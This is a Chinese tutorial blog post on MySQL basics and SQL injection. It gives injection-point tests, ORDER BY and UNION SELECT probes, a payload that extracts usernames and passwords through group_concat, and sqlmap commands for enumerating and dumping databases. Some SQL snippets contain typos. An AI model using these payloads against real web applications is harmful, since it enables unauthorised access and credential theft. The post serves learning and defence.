mysql数据库及sql注入

学习sql注入原理可以帮助我们写代码的时候避免一些不必要的漏洞,禁止用于违法用途。

mysql -u root -p回车后数据密码(默认root)进入数据库,没有配置环境变量的需要在mysql目录下的bin文件夹里面打开终端执行

show databases;查看数据库

CREATE DATABASE IF NOT EXISTS Hacktest DEFAULT CHARSET utf8 COLLATE utt8_general_ci;建立数据库如果没有Hacktest的话,默认用utf8

use hacktest;使用hacktest

drop hacktest;删除数据库

CREATE TABLE IF NOT EXISTS `news`( `id` INT UNSIGNED AUTO_INCREMENT, `title` VARCHAR(100) NOT NULL, `content` VARCHAR(100) NOT NULL, PRIMARY KEY ( `id` ))ENGINE=InnoDB DEFAULT CHARSET=utf8;创建表和其中的字段,如果没有news这个表的话

Show tables;查看数据表

INSERT INTO news (id,title,content) VALUES ('1','新闻1','这里是新闻内容');往表里面的id,title,content字段分别插入'1','新闻1','这里是新闻内容'

select * from news;查询news表

SQL注入-是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

漏洞原理:

用户访问:www.xxx/?id=1     返回ID为1的内容

黑客访问:www.xxx/?id=1 or 1 =1     黑客访问所有内容

数字型注入点判断

当要输入的参数x为数字时,后端脚本中的Sql语句类型大致如下select *from where id =x数字类型可以使用and 1=1和and 1-2来判断Url地址中输入http://xxx.cn/?id= x and 1=1页面依旧运行正常,继续进行下一步;Url地址中继续输入http://xxx/?id= x and 1-2页面运行错误,则说明此Sql注入为数字型注入。

原因如下:当输入and 1-1时,后台执行Sq语句select * from where id =and1没有语法错误且逻辑判断为真,所以返回的数据正常。当输入and 1-2时,后台执行Sql语句:select *from where id =没有语法错误但逻辑判断为假,所以返回的数据异常。

字符型注入点判断

当要输入的参数×为字符时,后端脚本中的Sql语句类型大致如下:select * from where id='x'字符类型可以使用单引号来判断:Url地址中输入http://xxx/?id= x',页面运行错误,继续进行下一步;Url地址中继续输入http://xxx/?id=x'%23页面运行正常,则说明此Sql注入为字符型注入。

原因如下:当输入x加上单引号时,后台执行Sql语句:select * from <表名> where id='x''语法上有错误,因为无法识别多出来的一个单引号。当输入x%23时,后台执行Sql语句select * from<表名> where id='x'#没有语法错误且逻辑正确,所以返回的数据正常。

利用Oder by x的语法来判断

Select * from users where id = 1 oder by

Select * from users where id = 1 oder by 2

Select * from users where id = 1 oder by 3

数字的含义:代表需要从第几个字段来排序

http://xxx/?id = 1' and 1= 2 union select 1,2.3 %23

利用Mysql数据库的函数来查询Select database();

Mysq15以上的版本,会有一个数据库存放着所有数据库的表名字段名等在SQL注入中,会经常对mysql数据库的information_schema数据库中的一些表进行查询,以此来获得自已想要的信息。

常用的表有SCHEMAT表:提供了当前mysal实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema ,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之

?id=-1' union select 1,group_concat(username).group_concat(password) from users %23

group_concat的作用:用符号连接查询结果里字段值

SQLMAP用法

测试注入 sqlmap -u url

跑数据库 sqlmap -u url --dbs

跑表名 sqmap-u url -D 数据库名 --tables

跑列名 sqlmap-u url -D 数据库名 -T 表名 --columns

跑字段内容 sqlmap-u url-D 数据库名 -T 表名 -C "字段名,字段名" --dump

点分享

点收藏

点点赞

点在看

sql select 抛异常_mysql数据库及sql注入相关推荐

  1. mysql优化和sql优化一样吗_mysql数据库的sql优化原则和常见误区

    gistfile1.txt 优化目标 1.减少 IO 次数 IO永远是数据库最容易瓶颈的地方,这是由数据库的职责所决定的,大部分数据库操作中超过90%的时间都是 IO 操作 所占用的,减少 IO 次数 ...

  2. mysql sql乱码怎么解决_MYSQL数据库导入SQL文件出现乱码如何解决

    导入的方法: mysqluse test; mysql source c:/test.sql 导入数据时,如果目标数据库或表是UTF-8字符集的,而导入SQL中有中文,可能在最终结果中出现乱码,此时只 ...

  3. mysql游标遍历中sql语句出现异常_MySQL中的异常处理,游标

    一.异常处理的理解 ERROR 1062 (23000): Duplicate entry '2' for key 'PRIMARY' 错误 4位error code(5位sql statis):错误 ...

  4. mysql数据库函数练习_Mysql 数据库操作SQL练习

    一.数据库的创建: 创建一个名称为mydb1的数据库CREATE DATABASE mydb1; 创建一个使用utf8字符集的mydb2数据库.CREATE DATABASE mydb2 CHARAC ...

  5. MySQL数据库sql分类_mysql数据库常用sql的分类整理

    **************************************************************************************************** ...

  6. mysql导出sql乱码_MySQL数据库导出SQL出现乱码解决

    环境:NavicatforMysql8.2 + MySQL Sever 5.1 问题:MySQL 数据库导出SQL出现乱码 解决: 方法一: 将数据库的编码改成UTF-8. 环境:Navicatfor ...

  7. php 登陆 sql语句,PHP 连接MySQL数据库的SQL语句的简单示例

    这篇文章主要为大家详细介绍了PHP 连接MySQL数据库的SQL语句的简单示例,具有一定的参考价值,可以用来参考一下. 首先用phpmyadmin进入建立数据库user 再建个三段的表admin 再别 ...

  8. 阿里云天池龙珠计划SQL训练营Task 1:初识数据库与SQL

    本笔记为阿里云天池龙珠计划SQL训练营的学习内容,链接为:https://tianchi.aliyun.com/specials/promotion/aicampsql: 一.初识数据库 数据库是将大 ...

  9. mysql数据库select语句用法_mysql数据库select查询语句简单用法

    mysql select简单用法 1.select语句可以用回车分隔$sql="select * from article where id=1"和$sql="selec ...

最新文章

  1. 入职第一天,老板竟然让我优化5亿数据量,要凉凉?
  2. ACMNO.33 C语言-最大值3 分别用函数和带参的宏,从三个数中找出最大的数。
  3. 用姓名字段统计人数_2019年度全国各地姓名报告分析汇总(全国、深圳、佛山、杭州)...
  4. Python Unittest-根据不同测试环境跳过用例详解
  5. CVPR 9999 Best Paper——《一种加辣椒的番茄炒蛋》
  6. Python里面使用的容器
  7. 春节期间小明使用微信收到很多个红包,非常开心。在查看领取红包记录时发现,某个红包金额出现的次数超过了红包总数的一半。请帮小明找到该红包金额。写出具体算法思路和代码实现,要求算法尽可能高效。...
  8. Eclipse导入Ant项目
  9. java整人代码大全_整人代码vbs大全分享
  10. 基于微信小程序的外卖点餐系统
  11. mongodb 5.文章评论
  12. java 日期加7天_java – 如何检查日期是否超过七天
  13. hp打印机一直显示正在打印中_HP打印机提示文档正在打印,但就是打印不了?...
  14. 左倾堆 - 解析与实现
  15. oracle 考试通过说考试作弊,这些行为很有可能会被判定为作弊!一定要小心!...
  16. 阿里巴巴心石:面向5G优酷正在做三件事
  17. 02-QMainWindow
  18. 如何用MASM5.0 (图解)
  19. ER/Studio入门操作和配置生成SQL注释(Attribute name)
  20. Google 地图下载工具 (C#)

热门文章

  1. mysql orderitems_【Mysql】教程全解(三)ORDER BY 排序
  2. 使用Maven构建Web项目-测试
  3. CentOS 7 使用源代码编译并安装软件
  4. esayexcel下载问题
  5. 基于JAVA+SpringMVC+Mybatis+MYSQL的大学生兼职网站
  6. 基于JAVA+SpringMVC+Mybatis+MYSQL的眼镜店仓库管理系统
  7. html音频自动播放隐藏控制器,HTML5 音频回放/播放控制器
  8. oracle重启 日志_超详细的数据库主机及数据库日志收集总结
  9. mysql 连接其他数据库_普通用户从其他主机连接MySQL数据库
  10. 最简单的SpringMVC + Maven配置